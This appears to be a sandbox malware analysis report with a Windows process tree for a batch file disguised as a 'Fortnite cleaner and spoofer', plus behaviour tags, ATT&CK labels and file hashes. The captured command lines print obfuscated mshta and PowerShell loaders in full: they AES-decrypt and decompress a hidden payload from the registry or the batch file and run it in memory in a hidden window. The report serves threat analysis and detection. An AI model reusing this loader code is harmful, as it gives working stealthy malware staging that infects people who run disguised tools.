C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:376
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:744
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1040
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1056
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1060
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1220
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2848
-
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-WBlSEbOzWbJeQSTDCyTx4312:HtTKjDxk=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-WBlSEbOzWbJeQSTDCyTx4312:HtTKjDxk=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $RtQPh=$OSpaw.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace('@', ''), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($kQJMC).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($AwstG);$MGcci=kJkUj (qPado ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); "4⤵PID:4460
-
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass4⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(1892).WaitForExit();[System.Threading.Thread]::Sleep(5000); function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $RtQPh=$OSpaw.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace("@", ""), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($kQJMC).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($AwstG);$MGcci=kJkUj (qPado ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
PID:208 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(1892).WaitForExit();[System.Threading.Thread]::Sleep(5000); function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $RtQPh=$OSpaw.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace("@", ""), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($kQJMC).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($AwstG);$MGcci=kJkUj (qPado ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); "6⤵PID:4220
-
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass6⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4008
-
-
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1248
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1336
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1376
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1388
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1412
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1564
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1576
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2924
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1600
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1692
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1740
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1812
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1836
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1856
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1868
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1968
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1752
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2092
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2148
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2220
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2332
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2448
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2692
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2736
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2764
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2772
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3028
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3056
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:784
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3328
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3432 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3864 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function wxtqr($ODxam){ $yFHSw=[System.Security.Cryptography.Aes]::Create(); $yFHSw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yFHSw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yFHSw.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MlS5vgEV14RQQ3ZEfZqUBeQcgrXfss4V2pUy4tjwV1I='); $yFHSw.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('nxrFwGMsIIo9SFRZFcB28A=='); $maSQj=$yFHSw.CreateDecryptor(); $return_var=$maSQj.TransformFinalBlock($ODxam, 0, $ODxam.Length); $maSQj.Dispose(); $yFHSw.Dispose(); $return_var;}function WDxBz($ODxam){ $GXRNP=New-Object System.IO.MemoryStream(,$ODxam); $ruNFB=New-Object System.IO.MemoryStream; Invoke-Expression '$PBbkq #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$GXRNP,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $PBbkq.CopyTo($ruNFB); $PBbkq.Dispose(); $GXRNP.Dispose(); $ruNFB.Dispose(); $ruNFB.ToArray();}function HXYOu($ODxam,$waUGN){ $agWIT = @( '$XEdTc = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$ODxam);'.Replace("#", ""), '$PzJKk = $XEdTc.EntryPoint;', '$PzJKk.Invoke($null, $waUGN);' ); foreach ($ayBSI in $agWIT) { Invoke-Expression $ayBSI };}$ulpxy=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat').Split([Environment]::NewLine);foreach ($WdBTO in $ulpxy) { if ($WdBTO.StartsWith('SIROXEN')) { $xSKPu=$WdBTO.Substring(7); break; }}$NWMte=WDxBz (wxtqr ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($xSKPu)));HXYOu $NWMte (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat')); "3⤵PID:3372
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Impair Defenses: Safe Mode Boot
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3552
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3728
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3920
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:704
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2444
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:8
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1472
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2972
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2656
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1608
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4808
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3540
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4788
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:4528
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2788
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4112
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3584
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:4916
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:1180
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b